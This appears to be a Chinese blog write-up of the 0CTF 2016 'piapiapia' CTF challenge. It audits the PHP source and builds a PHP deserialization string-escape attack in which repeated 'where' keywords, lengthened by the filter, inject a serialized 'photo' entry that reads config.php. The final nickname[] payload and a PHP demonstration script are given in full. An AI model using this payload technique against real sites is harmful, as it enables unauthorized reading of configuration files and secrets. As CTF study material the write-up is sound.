test1

该文章更新于 2024.08.01

It’s just a test

[0CTF 2016]piapiapia

一个简单的登录页面。尝试注入但是没有成功。直接开扫,注意扫描速度不能太快了。(buuoj是这样的)拿到网站源代码。

image-20240307161020926

代码审计开始。

profile.php中存在两个危险函数,反序列化以及输出字符串。

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

我们接着看profile与username变量是如何产生的。

1
2
$username = $_SESSION['username'];
$profile=$user->show_profile($username);

因为每个php都都包含了class.php。再看class.php的代码。找到show_profile

1
2
3
4
5
6
7
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

show_profile在user类中。而user类继承了mysql类,这里先调用了父类的filter函数。

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

功能是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。implode函数是表示把数组拼接起来,拼接符是 “|”:拼接后的结果为/'|\\/

然后是select函数

1
2
3
4
5
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

数据是从表里取出,接下来就是找插入数据的地方。

还是这个文件,有个更新操作。

1
2
3
4
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

在这个文件中找到了使用updata的地方

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

再找一下哪里使用了update_profile

在updata.php中有使用这个,并且在这里进行了赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}

这样的话,调用链就很清晰了。

1
profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

photo在传入后进行了md5加密,所以这里攻击就不现实了

利用其它参数,以及字符串增多来逃逸一个photo就好了。利用nickname来实现攻击。

因为**strlen($_POST[‘nickname’]) > 10)**不能成立,我们直接传一个数组。(strlen(Array()) = null)

要逃逸的字符串

1
";s:5:"photo";s:10:"config.php";}

但是我们传入的nickname是一个数组,所以闭合方式得变化一下。我们可以看这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $a=array("a","a");
}
class B{
public $a='a';
}
$a=new A();
$b=new B();
echo serialize($a);
echo serialize($b);
?>
//O:1:"A":1:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"a";}}
//O:1:"B":1:{s:1:"a";s:1:"a";}

我们的值会替换掉a,根据数组序列化的结果,我们要闭合的是”;}

1
";}s:5:"photo";s:10:"config.php";}

一共34个字符

最终payload

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

可以看一下反序列结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

function filter($string) {
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '11111111111';
$profile['email'] = '1234567891@qq.com';
$nickname = "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere\";}s:5:\"photo\";s:10:\"config.php\";}";
$profile['nickname'] = array($nickname);
$profile['photo'] = 'upload/' . md5("1.yxx");
$a=filter(serialize($profile));
var_dump($a);
var_dump(unserialize($a));
?>
/*
string(405) "a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:17:"1234567891@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/4ec8b0223f2ffe347c6ba885a92b4796";}"

array(4) {
["phone"]=>
string(11) "11111111111"
["email"]=>
string(17) "1234567891@qq.com"
["nickname"]=>
array(1) {
[0]=>
string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
}
["photo"]=>
string(10) "config.php"
}

*/

image-20240307230012015

image-20240307225959344

解码一下即可

image-20240307230107904